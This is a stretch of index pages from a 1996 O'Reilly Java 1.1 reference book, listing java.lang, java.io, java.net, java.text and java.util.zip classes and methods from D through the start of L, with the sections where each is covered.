createContentHandler( ) : ContentHandlerFactory
critical section : Single-Threaded Execution
current( ) : BreakIterator
CharacterIterator interface : CharacterIterator
StringCharacterIterator class : StringCharacterIterator
currentClassLoader( ) : SecurityManager
currentLoadedClass( ) : SecurityManager
currentThread( ) : Using Thread Objects
Thread class : Thread
currentTimeMillis( ) : System

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

D

-D option, java : System Properties
daemon threads : Daemon threads
data compression/decompression : The java.util.zip Package
data types
The java.lang Package
URL Objects
concatentation (+) operator and : String Concatenation
DataInput interface : DataInput
DataOutput interface : DataOutput
system properties and : System Properties
DataFormatException : DataFormatException
DatagramPacket class
Sockets for Connectionless Protocols
DatagramPacket
DatagramSocket class
Sockets for Connectionless Protocols
DatagramSocket
DataInput interface
DataInput
DataInputStream class
DataInputStream
DataInputStream
DataOutput interface
DataOutput
DataOutputStream class
DataOutputStream
DataOutputStream
date and time
Calendar class : Calendar
Date class : Date
DateFormat class
The java.text Package
DateFormat
DateFormatSymbols class : DateFormatSymbols
GregorianCalendar class : GregorianCalendar
SimpleDateFormat class : SimpleDateFormat
SimpleTimeZone class : SimpleTimeZone
TimeZone class : TimeZone
DecimalFormat class : DecimalFormat
DecimalFormatSymbols class : DecimalFormatSymbols
declaring exceptions : Declaring Exceptions
decode( )
Byte( ) : Byte
Integer class : Integer
Short class : Short
decompression (see data compression/decompression)
defaultReadObject( )
Writing Classes to Work with Serialization
Versioning of Classes
ObjectInputStream class : ObjectInputStream
defaultWriteObject( )
Writing Classes to Work with Serialization
Versioning of Classes
ObjectOutputStream class : ObjectOutputStream
defineClass( ) : ClassLoader
deflate( )
Deflater class : Deflater
DeflaterOutputStream class : DeflaterOutputStream
Deflater class : Deflater
DeflaterOutputStream class : DeflaterOutputStream
delete( ) : File
File class : File
deleteObserver( ) : Observable
deleteObservers( ) : Observable
deserialization (see object serialization)
destroy( ) : External Program Execution
Process class : Process
Thread class : Thread
ThreadGroup class : ThreadGroup
Dictionary class
Hashtables
Dictionary
digit( ) : Character
directories (see files)
disable( ) : Compiler
disconnect( ) : HttpURLConnection
divide( )
BigDecimal class : BigDecimal
BigInteger class : BigInteger
divideAndRemainder( ) : BigInteger
Double( ) : Double
Double class : Double
doubleToLongBits( ) : Double
doubleValue( ) : Byte
BigDecimal class : BigDecimal
BigInteger class : BigInteger
Double class : Double
Float class : Float
Integer class : Integer
Long class : Long
Number class : Number
Short class : Short
drain( )
ObjectOutputStream class : ObjectOutputStream
dumpStack( ) : Thread
dynamically loaded classes : ClassLoader

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

E

elementAt( ) : Vectors
elements( )
Dictionary class : Dictionary
Hashtable class
Hashtables
Hashtable
empty( ) : Stacks
Stack class : Stack
empty string : String
EmptyStackException
Stacks
EmptyStackException
enable( ) : Compiler
enableReplaceObject( )
ObjectOutputStream class : ObjectOutputStream
enableResolveObject( )
ObjectInputStream class : ObjectInputStream
encode( )
URLEncoder class : URLEncoder
encoding
UnsupportedEncodingException : UnsupportedEncodingException
UTF-8 encoding : The UTF-8 Encoding
end( )
Deflater class : Deflater
Inflater class : Inflater
endsWith( )
String
String
ensureCapacity( ) : StringBuffer
entries( ) : ZipFile
enumerate( )
Thread class : Thread
ThreadGroup class : ThreadGroup
Enumeration interface
Enumerations
Enumeration
environment information : System Properties
environment variables : Environment Variables
EOFException : EOFException
eolIsSignificant( ) : StreamTokenizer
equals( )
BigDecimal class : BigDecimal
BigInteger class : BigInteger
BitSet class : BitSet
Boolean class : Boolean
Byte class : Byte
Calendar class : Calendar
Character class : Character
ChoiceFormat class : ChoiceFormat
CollationKey class : CollationKey
Collator class : Collator
Constructor class : Constructor
Date class : Date
DateFormat class : DateFormat
DateFormatSymbols class : DateFormatSymbols
DecimalFormat class : DecimalFormat
DecimalFormatSymbols class : DecimalFormatSymbols
Double class : Double
equalsIgnoreCase( ) : String
Field class : Field
File class : File
GregorianCalendar class : GregorianCalendar
Hashtable class : Hashtables
InetAddress class : InetAddress
Integer class : Integer
Locale class : Locale
Long class : Long
MessageFormat class : MessageFormat
Method class : Method
Object class : Object
RuleBasedCollator class : RuleBasedCollator
Short class : Short
SimpleDateFormat class : SimpleDateFormat
SimpleTimeZone class : SimpleTimeZone
String class
String
String
StringCharacterIterator class : StringCharacterIterator
URL class : URL
equalsIgnoreCase( ) : String
equsl( )
NumberFormat class : NumberFormat
err variable : System
errors
Error class
The java.lang Package
Declaring Exceptions
Error
PrintWriter class for : PrintWriter and PrintStream
standard error : I/O
events
EventListener interface : EventListener
EventObject class : EventObject
exceptions
Exception Handling
Exception class
The java.lang Package
Exception
ExceptionInInitializerError : ExceptionInInitializerError
object serialization : ObjectStreamException
PrintWriter class and : PrintWriter and PrintStream
rethrowing : Rethrowing Exceptions
stack traces : Printing Stack Traces
exec( ) : External Program Execution
Runtime class : Runtime
exists( ) : File
File class : File
exit( )
Runtime class : Runtime
System class
Self Termination
System
exitValue( ) : External Program Execution
Process class : Process
exp( ) : Math
explicit synchronization : Explicit Synchronization
external program execution : External Program Execution
Externalizable interface
Writing Classes to Work with Serialization
Externalizable

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

F

FALSE value : Boolean
FieldPosition class : FieldPosition
fields
Field class : Field
NoSuchFieldError : NoSuchFieldError
NoSuchFieldException : NoSuchFieldException
FIFO (first-in, first-out) queue : Optimistic Single-Threaded Execution
File class : The java.io Package
filename extensions, data types and : URL Objects
files
EOFException : EOFException
File class
File
The java.io Package
File
FileDescriptor class
FileInputStream and FileReader
FileWriter and FileOutputStream
FileDescriptor
FileInputStream class
FileInputStream and FileReader
Sockets for Connection-Oriented Protocols
FileInputStream
FilenameFilter interface
FilenameFilter
FilenameFilter
FileNameMap interface : FileNameMap
FileNotFoundException : FileNotFoundException
FileOutputStream class
FileWriter and FileOutputStream
FileOutputStream
FileReader class
FileInputStream and FileReader
FileReader
FileWriter class
FileWriter and FileOutputStream
FileWriter
manipulation of : File Manipulation
permissions for : File
RandomAccessFile class
The java.io Package
FileInputStream and FileReader
FileWriter and FileOutputStream
RandomAccessFile
Writing Classes to Work with Serialization
The java.io Package
RandomAccessFile
ZipFile class : ZipFile
fill( ) : InflaterInputStream
fillInStackTrace( )
Rethrowing Exceptions
Throwable
FilterInputStream class
FilterInputStream and FilterReader
FilterInputStream
DataInputStream class : DataInputStream
FilterOutputStream class
FilterOutputStream and FilterWriter
FilterOutputStream
DataOutputStream class : DataOutputStream
FilterReader class
FilterInputStream and FilterReader
FilterReader
FilterWriter class
FilterOutputStream and FilterWriter
FilterWriter
finalize( )
Deflater class : Deflater
FileInputStream class : FileInputStream
FileOutputStream class : FileOutputStream
Inflater class : Inflater
Object class : Object
runFinalization( ) and
Runtime
System
runFinalizersOnExit( ) and
Runtime
System
finally clause
Handling Exceptions
findLoadedClass( ) : ClassLoader
findSystemClass( ) : ClassLoader
finish( )
Deflater class : Deflater
DeflaterOutputStream class : DeflaterOutputStream
GZIPOutputStream class : GZIPOutputStream
ZipOutputStream class : ZipOutputStream
finished( )
Deflater class : Deflater
Inflater class : Inflater
first( ) : BreakIterator
CharacterIterator interface : CharacterIterator
StringCharacterIterator class : StringCharacterIterator
firstElement( ) : Vectors
flipBit( ) : BigInteger
Float( ) : Float
Float class : Float
floatToIntBits( ) : Float
floatValue( ) : Byte
BigDecimal class : BigDecimal
BigInteger class : BigInteger
Double class : Double
Float class : Float
Integer class : Integer
Long class : Long
Number class : Number
Short class : Short
floor( ) : Math
flush( )
BufferedOutputStream class : BufferedOutputStream
BufferedWriter class : BufferedWriter
CharArrayWriter class : CharArrayWriter
DataOutputStream class : DataOutputStream
FilterOutputStream class : FilterOutputStream
FilterWriter class : FilterWriter
ObjectOutput interface : ObjectOutput
ObjectOutputStream class : ObjectOutputStream
OutputStream class
OutputStream
OutputStream
OutputStreamWriter class : OutputStreamWriter
PipedOutputStream class : PipedOutputStream
PipedWriter class : PipedWriter
PrintStream class : PrintStream
PrintWriter class
PrintWriter and PrintStream
PrintWriter
StringWriter class : StringWriter
Writer class
Writer
Writer
following( ) : BreakIterator
forClass( )
ObjectStreamClass class : ObjectStreamClass
forDigit( ) : Character
format( )]
SimpleDateFormat class : SimpleDateFormat
Format class
The java.text Package
Format
format( )
ChoiceFormat class : ChoiceFormat
DateFormat class : DateFormat
DecimalFormat class : DecimalFormat
Format class : Format
MessageFormat class : MessageFormat
NumberFormat class : NumberFormat
forName( )
ClassLoader
Class
freeMemory( ) : Runtime

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

G

garbage collection
Daemon threads
Garbage Collection
Runtime
System
gc( )
Runtime class
Runtime
System
System class : Garbage Collection
gcd( ) : BigInteger
get( )
Array class : Array
Calendar class : Calendar
Dictionary class : Dictionary
Field class : Field
Hashtable class
Hashtables
Hashtable
getAbsolutePath( )
File class : File
getAddress( )
DatagramPacket class : DatagramPacket
InetAddress class : InetAddress
getAdler( )
Deflater class : Deflater
Inflater class : Inflater
getAllByName( ) : InetAddress
getAllowUserInteraction( ) : URLConnection
getAmPmStrings( ) : DateFormatSymbols
getAvailableIDs( )
TimeZone class : TimeZone
getAvailableLocales( ) : BreakIterator
Calendar class : Calendar
Collator class : Collator
DateFormat class : DateFormat
NumberFormat class : NumberFormat
getBeginIndex( )
CharacterIterator
FieldPosition
StringCharacterIterator class : StringCharacterIterator
getBoolean( ) : Boolean
Array class : Array
Boolean class : System Properties
Field class : Field
getBuffer( )
StringWriter class : StringWriter
getBundle( )
ResourceBundle class : ResourceBundle
getByName( ) : InetAddress
getByte( )
Array class : Array
Field class : Field
getBytes( ) : String
String class : String
getCalendar( )
DateFormat class : DateFormat
getCanonicalPath( )
File class : File
getChar( )
Array class : Array
Field class : Field
getCharacterInstance( ) : BreakIterator
getChars( ) : String
String class : String
StringBuffer class : StringBuffer
getChecksum( )
CheckedInputStream class : CheckedInputStream
CheckedOutputStream class : CheckedOutputStream
getClass( )
Object class : Object
getClassContext( ) : SecurityManager
getClasses( ) : Class
getClassLoader( ) : Class
getClassName( )
MissingResourceException : MissingResourceException
getCollationElementIterator( ) : RuleBasedCollator
getCollationKey( ) : Collator
RuleBasedCollator class : RuleBasedCollator
getColor( ) : System Properties
getComment( ) : ZipEntry
getComponentType( ) : Class
getCompressedSize( ) : ZipEntry
getConstructor( ) : Class
getConstructors( ) : Class
getContent( )
ContentHandler class : ContentHandler
URL class
URL Objects
URL
URLConnection class : URLConnection
getContentEncoding( )
URLConnection class : URLConnection
getContentLength( )
URLConnection class : URLConnection
getContents( )
ListResourceBundle class : ListResourceBundle
getContentType( )
URLConnection class : URLConnection
getContentTypeFor( ) : FileNameMap
getCountry( ) : Locale
getCrc( ) : ZipEntry
getCurrencyInstance( ) : NumberFormat
getData( )
DatagramPacket class : DatagramPacket
getDate( )
Date class : Date
URLConnection class : URLConnection
getDateFormatSymbols( ) : SimpleDateFormat
getDateInstance( ) : DateFormat
getDateTimeInstance( ) : DateFormat
getDay( )
Date class : Date
getDecimalFormatSymbols( ) : DecimalFormat
getDecimalSeparator( ) : DecimalFormatSymbols
getDeclaredClasses( ) : Class
getDeclaredConstructor( ) : Class
getDeclaredConstructors( ) : Class
getDeclaredField( ) : Class
getDeclaredFields( ) : Class
getDeclaredMethod( ) : Class
getDeclaredMethods( ) : Class
getDeclaringClass( ) : Class
Constructor class : Constructor
Field class : Field
Member interface : Member
Method class : Method
getDecomposition( ) : Collator
getDefault( )
Locale class : Locale
TimeZone class : TimeZone
getDefaultAllowUserInteraction( ) : URLConnection
getDefaultRequestProperty( ) : URLConnection
getDefaultUseCaches( ) : URLConnection
getDigit( )
DecimalFormatSymbols class : DecimalFormatSymbols
getDisplayCountry( ) : Locale
getDisplayLanguage( ) : Locale
getDisplayName( ) : Locale
getDisplayVariant( ) : Locale
getDoInput( ) : URLConnection
getDoOutput( ) : URLConnection
getDouble( )
Array class : Array
Field class : Field
getEncoding( )
InputStreamReader class : InputStreamReader
OutputStreamWriter class : OutputStreamWriter
getEndIndex( )
CharacterIterator
FieldPosition
StringCharacterIterator class : StringCharacterIterator
getEntry( ) : ZipFile
getenv( ) : System
getEnv( ) : Environment Variables
getEras( ) : DateFormatSymbols
getErrorOffset( )
ParseException : ParseException
getErrorStream( ) : External Program Execution
Process class : Process
getException( )
ExceptionInInitializerError : ExceptionInInitializerError
getExceptionTypes( )
Constructor class : Constructor
Method class : Method
getExpiration( ) : URLConnection
getExtra( ) : ZipEntry
getFD( )
FileInputStream class : FileInputStream
FileOutputStream class : FileOutputStream
RandomAccessFile class : RandomAccessFile
getField( ) : Class
FieldPosition class : FieldPosition
getFields( ) : Class
getFile( )
URL class : URL
getFileDescriptor( )
SocketImpl class : SocketImpl
getFilePointer( ) : RandomAccessFile
RandomAccessFile class : RandomAccessFile
getFirstDayOfWeek( ) : Calendar
getFloat( )
Array class : Array
Field class : Field
getFollowRedirects( ) : HttpURLConnection
getFont( ) : System Properties
getFormats( ) : ChoiceFormat
MessageFormat class : MessageFormat
getGreatestMinimum( ) : Calendar
getGreatestMininum( )
GregorianCalendar class : GregorianCalendar
getGregorianChange( ) : GregorianCalendar
getGroupingSeparator( ) : DecimalFormatSymbols
getGroupingSize( ) : DecimalFormat
getHeaderField( )
URLConnection class : URLConnection
getHeaderFieldDate( )
URLConnection class : URLConnection
getHeaderFieldInt( ) : URLConnection
getHeaderFieldKey( ) : URLConnection
getHost( )
URL class : URL
getHostAddress( ) : InetAddress
getHostName( ) : InetAddress
getHours( )
Date class : Date
getID( )
TimeZone class : TimeZone
getIfModifiedSince( ) : URLConnection
getInCheck( ) : SecurityManager
getIndex( )
BitSet class : BitSet
CharacterIterator interface : CharacterIterator
ParsePosition class : ParsePosition
StringCharacterIterator class : StringCharacterIterator
getInetAddress( ) : ServerSocket
Socket class : Socket
SocketImpl class : SocketImpl
getInfinity( ) : DecimalFormatSymbols
getInputStream( )
Process class
External Program Execution
Process
Socket class
Sockets for Connection-Oriented Protocols
Socket
URLConnection class : URLConnection
ZipFile class : ZipFile
getInputStream( :)
SocketImpl class : SocketImpl
getInstance( )
Calendar class : Calendar
Collator class : Collator
DateFormat class : DateFormat
NumberFormat class : NumberFormat
getInt( )
Array class : Array
Field class : Field
getInteger( ) : System Properties
Integer class : Integer
getInterface( )
InetAddress class : MulticastSocket
getInterfaces( ) : Class
getISO3Country( ) : Locale
getISO3Language( ) : Locale
getKey( )
MissingResourceException : MissingResourceException
getKeys( )
ListResourceBundle class : ListResourceBundle
PropertyResourceBundle class : PropertyResourceBundle
ResourceBundle class : ResourceBundle
getLanguage( ) : Locale
getLastModified( )
URLConnection class : URLConnection
getLeastMaximum( ) : Calendar
GregorianCalendar class : GregorianCalendar
getLength( )
Array class : Array
DatagramPacket class : DatagramPacket
getLimits( ) : ChoiceFormat
getLineInstance( ) : BreakIterator
getLineNumber( ) : LineNumberReader and LineNumberInputStream
LineNumberInputStream class : LineNumberInputStream
LineNumberReader class : LineNumberReader
getLocalAddress( )
DatagramSocket class : DatagramSocket
Socket class : Socket
getLocale( )
MessageFormat class : MessageFormat
getLocalHost( ) : InetAddress
getLocalizedInputStream( ) : Runtime
getLocalizedMessage( ) : Throwable
getLocalizedOutputStream( ) : Runtime
getLocalPatternChars( ) : DateFormatSymbols
getLocalPort( ) : ServerSocket
DatagramSocket class : DatagramSocket
Socket class : Socket
SocketImpl class : SocketImpl
getLong( )
Long
Array class : Array
Field class : Field
Long class : System Properties
getLowestSetBit( ) : BigInteger
getMaximum( )
Calendar class : Calendar
getMaximumFractionDigits( ) : NumberFormat
getMaximumIntegerDigits( ) : NumberFormat
getMaxmimum( )
GregorianCalendar class : GregorianCalendar
getMaxPriority( ) : ThreadGroup
getMessage( ) : Throwable
getMethod( ) : Class
ZIPEntry class : ZipEntry
getMethods( ) : Class
getMinimalDaysInFirstWeek( ) : Calendar
getMinimum( )
Calendar class : Calendar
GregorianCalendar class : GregorianCalendar
getMinimumFractionDigits( ) : NumberFormat
getMinimumIntegerDigits( ) : NumberFormat
getMinusSign( ) : DecimalFormatSymbols
getMinutes( )
Date class : Date
getModifiers( ) : Class
Constructor class : Constructor
Field class : Field
Member interface : Member
Method class : Method
getMonth( )
Date class : Date
getMonths( ) : DateFormatSymbols
getMultiplier( )
DecimalFormat class : DecimalFormat
getName( )
Class class : Class
Constructor class : Constructor
Field class : Field
File class
File
File
Member interface : Member
Method class : Method
ObjectStreamClass class : ObjectStreamClass
Thread class : Thread
ThreadGroup class : ThreadGroup
ZIPEntry class : ZipEntry
ZipFile class : ZipFile
getNaN( )
DecimalFormatSymbols class : DecimalFormatSymbols
getNegativePrefix( ) : DecimalFormat
getNegativeSuffix( ) : DecimalFormat
getNextEntry( ) : ZipInputStream
getNumberFormat( ) : DateFormat
getNumberInstance( ) : NumberFormat
getNumericValue( ) : Character
getObject( )
ResourceBundle class : ResourceBundle
getOffset( )
SimpleTimeZone class : SimpleTimeZone
TimeZone class : TimeZone
getOutputStream( )
Process class
External Program Execution
Process
Socket class
Sockets for Connection-Oriented Protocols
Socket
SocketImpl class : SocketImpl
URLConnection class : URLConnection
getParameterTypes( )
Constructor class : Constructor
Method class : Method
getParent( ) : ThreadGroup
File class
File
File
ResourceBundle class : ResourceBundle
getPath( ) : File
File class : File
getPatternSeparator( )
DecimalFormatSymbols class : DecimalFormatSymbols
getPercent( )
DecimalFormatSymbols class : DecimalFormatSymbols
getPercentInstance( ) : NumberFormat
getPerMill( ) : DecimalFormatSymbols
getPort( )
DatagramPacket class : DatagramPacket
Socket class : Socket
SocketImpl class : SocketImpl
URL class : URL
getPositivePrefix( ) : DecimalFormat
getPositiveSuffix( ) : DecimalFormat
getPriority( )
Thread priority
Thread
getProperties( )
System class : System
getProperty( )
Properties class : Properties
System class
System Properties
System
getProtocol( )
URL class : URL
getRawOffset( )
SimpleTimeZone class : SimpleTimeZone
TimeZone class : TimeZone
getRef( ) : URL
getRemaining( ) : Inflater
getRequestMethod( )
HttpURLConnection class : HttpURLConnection
getRequestProperty( )
URLConnection class : URLConnection
getResource( )
Class
ClassLoader
getResourceAsStream( )
Class
ClassLoader
getResponseCode( ) : HttpURLConnection
getResponseMessage( ) : HttpURLConnection
getReturnType( ) : Method
getRules( )
RuleBasedCollator class : RuleBasedCollator
getRuntime( ) : Runtime
getSeconds( )
Date class : Date
getSecurityContext( ) : SecurityManager
getSecurityManager( ) : System
getSentenceInstance( )
BreakIterator
getSerialVersionUID( ) : Versioning of Classes
ObjectStreamClass class : ObjectStreamClass
getShort( )
Array class : Array
Field class : Field
getShortMonths( ) : DateFormatSymbols
getShortWeekdays( ) : DateFormatSymbols
getSigners( ) : Class
getSize( ) : ZipEntry
getSoLinger( ) : Socket
getSoTimeout( )
DatagramSocket class : DatagramSocket
ServerSocket class : ServerSocket
Socket class : Socket
getSource( )
EventObject class : EventObject
getSourceString( )
CollationKey class : CollationKey
getStrength( )
Collator class : Collator
getString( )
ResourceBundle class : ResourceBundle
getStringArray( )
ResourceBundle class : ResourceBundle
getSuperclass( ) : Class
getSystemResource( ) : ClassLoader
getSystemResourceAsStream( ) : ClassLoader
getTargetException( ) : InvocationTargetException
getTcpNoDelay( ) : Socket
getText( ) : BreakIterator
getThreadGroup( )
SecurityManager
Thread
getTime( )
Calendar class : Calendar
Date class : Date
ZIPEntry class : ZipEntry
getTimeInMillis( ) : Calendar
getTimeInstance( ) : DateFormat
getTimeZone( )
Calendar class : Calendar
DateFormat class : DateFormat
TimeZone class : TimeZone
getTimezoneOffset( ) : Date
getTotalIn( )
Deflater
Inflater
getTotalOut( )
Deflater
Inflater
getTTL( ) : MulticastSocket
getType( )
Character
Field
getURL( ) : URLConnection
getUseCaches( ) : URLConnection
getValue( )
Adler32 class : Adler32
Checksum interface : Checksum
CRC32 class : CRC32
getVariant( ) : Locale
getWeekdays( ) : DateFormatSymbols
getWordInstance( )
BreakIterator
getYear( ) : Date
getZeroDigit( ) : DecimalFormatSymbols
getZoneStrings( ) : DateFormatSymbols
GregorianCalendar class : GregorianCalendar
groups, thread
Thread priority
Controlling groups of threads
guessContentTypeFromName( ) : URLConnection
guessContentTypeFromStream( ) : URLConnection
GZIP classes : The java.util.zip Package
GZIP format : The java.util.zip Package
GZIPInputStream class
The java.util.zip Package
GZIPInputStream
GZIPOutputStream class
The java.util.zip Package
GZIPOutputStream

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

H

handleGetObject( )
ListResourceBundle class : ListResourceBundle
PropertyResourceBundle class : PropertyResourceBundle
ResourceBundle class : ResourceBundle
handling exceptions (see exceptions)
hasChanged( )
Observable class : Observable
hashCode( )
BigDecimal class : BigDecimal
BigInteger class : BigInteger
BitSet class : BitSet
Boolean class : Boolean
Byte class : Byte
Character class : Character
ChoiceFormat class : ChoiceFormat
CollationKey class : CollationKey
Collator class : Collator
Constructor class : Constructor
Date class : Date
DateFormat class : DateFormat
DateFormatSymbols class : DateFormatSymbols
DecimalFormat class : DecimalFormat
DecimalFormatSymbols class : DecimalFormatSymbols
Double class : Double
Field class : Field
File class : File
Float class : Float
getVariant( ) : Locale
GregorianCalendar class : GregorianCalendar
InetAddress class : InetAddress
Integer class : Integer
Long class : Long
MessageFormat class : MessageFormat
Method class : Method
NumberFormat class : NumberFormat
Object class
Hashtables
Object
RuleBasedCollator class : RuleBasedCollator
Short class : Short
SimpleDateFormat class : SimpleDateFormat
SimpleTimeZone class : SimpleTimeZone
String class : String
StringCharacterIterator class : StringCharacterIterator
URL class : URL
hashcodes : Hashtables
Hashtable class : Hashtable
hashtables : Hashtables
hasMoreElements( ) : Enumeration
Enumeration interface : Enumerations
StringTokenizer class : StringTokenizer
hasMoreTokens( )
StringTokenizer class : StringTokenizer
HttpURLConnection class
URLConnection Objects
HttpURLConnection

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

I

identityHashCode( ) : System
IEEEremainder( ) : Math
IllegalAccessError : IllegalAccessError
IllegalAccessException : IllegalAccessException
IllegalArgumentException : IllegalArgumentException
IllegalMonitorStateException : IllegalMonitorStateException
IllegalStateException : IllegalStateException
IllegalThreadStateException : IllegalThreadStateException
implAccept( ) : ServerSocket
in variable : System
inClass( ) : SecurityManager
inClassLoader( ) : SecurityManager
IncompatibleClassChangeError : IncompatibleClassChangeError
inDaylightTime( )
SimpleTimeZone class : SimpleTimeZone
indexOf( )
String class
String
String
Vector class : Vectors
IndexOutOfBoundsException : IndexOutOfBoundsException
InetAddress class
The java.net Package
InetAddress
inflate( )
DataFormatException : DataFormatException
Inflater class : Inflater
Inflater class : Inflater
InflaterInputStream class : InflaterInputStream
initializers
ExceptionInInitializerError : ExceptionInInitializerError
input
The java.io Package
I/O
InterruptedIOException : InterruptedIOException
IOException : IOException
input streams
Input Streams and Readers
The java.io Package
BufferedInputStream class
BufferedReader and BufferedInputStream
BufferedInputStream
ByteArrayInputStream class
CharArrayReader and ByteArrayInputStream
ByteArrayInputStream
CheckedInputStream class : CheckedInputStream
DataInputStream class
DataInputStream
DataInputStream
FileInputStream class
FileInputStream and FileReader
Sockets for Connection-Oriented Protocols
FileInputStream
FilterInputStream class
FilterInputStream and FilterReader
FilterInputStream
GZIPInputStream class
The java.util.zip Package
GZIPInputStream
InflaterInputStream class : InflaterInputStream
InputStream class
The java.io Package
InputStream
InputStream
InputStreamReader class
The java.io Package
InputStreamReader
InputStreamReader
LineNumberInputStream class
LineNumberReader and LineNumberInputStream
LineNumberInputStream
ObjectInputStream class
The java.io Package
ObjectInputStream
PipedInputStream class
PipedInputStream and PipedReader
PipedOutputStream and PipedWriter
PipedInputStream
PushbackInputStream class
PushbackInputStream and PushbackReader
PushbackInputStream
SequenceInputStream class
SequenceInputStream
SequenceInputStream
StreamTokenizer class : StreamTokenizer
StringBufferInputStream class
StringReader and StringBufferInputStream
StringBufferInputStream
ZipInputStream class : ZipInputStream
insert( )
StringBuffer class : StringBuffer
insertElementAt( ) : Vectors
instantiation
InstantiationError : InstantiationError
InstantiationException : InstantiationException
intBitsToFloat( : Float
Integer( ) : Integer
Integer class : Integer
intern( ) : String
InternalError : InternalError
internalGet( ) : Calendar
internationalization
java.text class : The java.text Package
java.util class : The java.util Package
UTF-8 encoding : The UTF-8 Encoding
interrupt( )
Interrupting a thread
Thread
interrupted( ) : Thread
InterruptedException : InterruptedException
InterruptedException exception : Interrupting a thread
InterruptedIOException : InterruptedIOException
intValue( ) : Byte
BigDecimal class : BigDecimal
BigInteger class : BigInteger
Double class : Double
Integer class : Integer
Long class : Long
Number class : Number
Short class : Short
InvalidClassException : InvalidClassException
InvalidObjectException : InvalidObjectException
InvocationTargetException : InvocationTargetException
invoke( ) : Method
IOException : IOException
isAbsolute( )
File class : File
isAbstract( ) : Modifier
isAlive( )
Controlling a Thread
Thread
isArray( ) : Class
isAssignableFrom( ) : Class
isDaemon( )
Thread class
Daemon threads
Thread
ThreadGroup class : ThreadGroup
isDaylightTime( )
TimeZone class : TimeZone
isDecimalSeparatorAlwaysShown( ) : DecimalFormat
isDestroyed( ) : ThreadGroup
isDigit( ) : Character
isDirectory( )
File class
File
File
ZIPEntry class : ZipEntry
isEmpty( )
Dictionary class : Dictionary
Hashtable class : Hashtable
isFile( ) : File
File class : File
isFinal( ) : Modifier
isGroupingUsed( ) : NumberFormat
isIdentifierIgnorable( ) : Character
isInfinite( )
Double class
Double
Float class
Float
isInstance( ) : Class
isInterface( )
Class
Modifier
isInterrupted( ) : Interrupting a thread
Thread class : Thread
isISOControl( ) : Character
isJavaIdentifierPart( ) : Character
isJavaIdentifierStart( ) : Character
isJavaLetter( ) : Character
isJavaLetterOrDigit( ) : Character
isLeapYear( ) : GregorianCalendar
isLenient( ) : DateFormat
Calendar class : Calendar
isLetter( ) : Character
isLetterOrDigit( ) : Character
isLowerCase( ) : Character
isMulticastAddress( ) : InetAddress
isNaN( )
Double class
Double
Float class
Float
isNative( ) : Modifier
isParseIntegerOnly( ) : NumberFormat
isPrimitive( ) : Class
isPrivate( ) : Modifier
isProbablePrime( ) : BigInteger
isProtected( ) : Modifier
isPublic( ) : Modifier
isSet( )
Calendar class : Calendar
isSpace( ) : Character
isSpaceChar( ) : Character
isStatic( ) : Modifier
isSynchronized( ) : Modifier
isTitleCase( ) : Character
isTransient( ) : Modifier
isUnicodeIdentifierPart( ) : Character
isUnicodeIdentifierStart( ) : Character
isUpperCase( ) : Character
isVolatile( ) : Modifier
isWhitespace( ) : Character

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

J

java virtual machine
-D option : System Properties
-noasyncgc option : Garbage Collection
Java, version 1.1
Preface
Introduction
java.io package
The java.io Package
I/O
The java.io Package
java.lang package
The java.lang Package
The java.lang Package
java.lang.reflect package
The java.lang.reflect Package
The java.lang.reflect Package
java.math package
The java.math Package
The java.math Package
java.net package
The java.net Package
Networking
The java.net Package
java.text package
The java.text Package
The java.text Package
java.util package
The java.util Package
The java.util Package
java.util.zip package
The java.util.zip Package
The java.util.zip Package
join( )
Rendezvous
Thread
joinGroup( ) : MulticastSocket

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

K

keys( )
Dictionary class : Dictionary
Hashtable class
Hashtables
Hashtable

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

L

last( ) : BreakIterator
CharacterIterator interface : CharacterIterator
StringCharacterIterator class : StringCharacterIterator
lastElement( ) : Vectors
lastIndexOf( ) : String
String class : String
Vector class : Vectors
lastModified( ) : File
File class : File
leaveGroup( ) : MulticastSocket
length( )
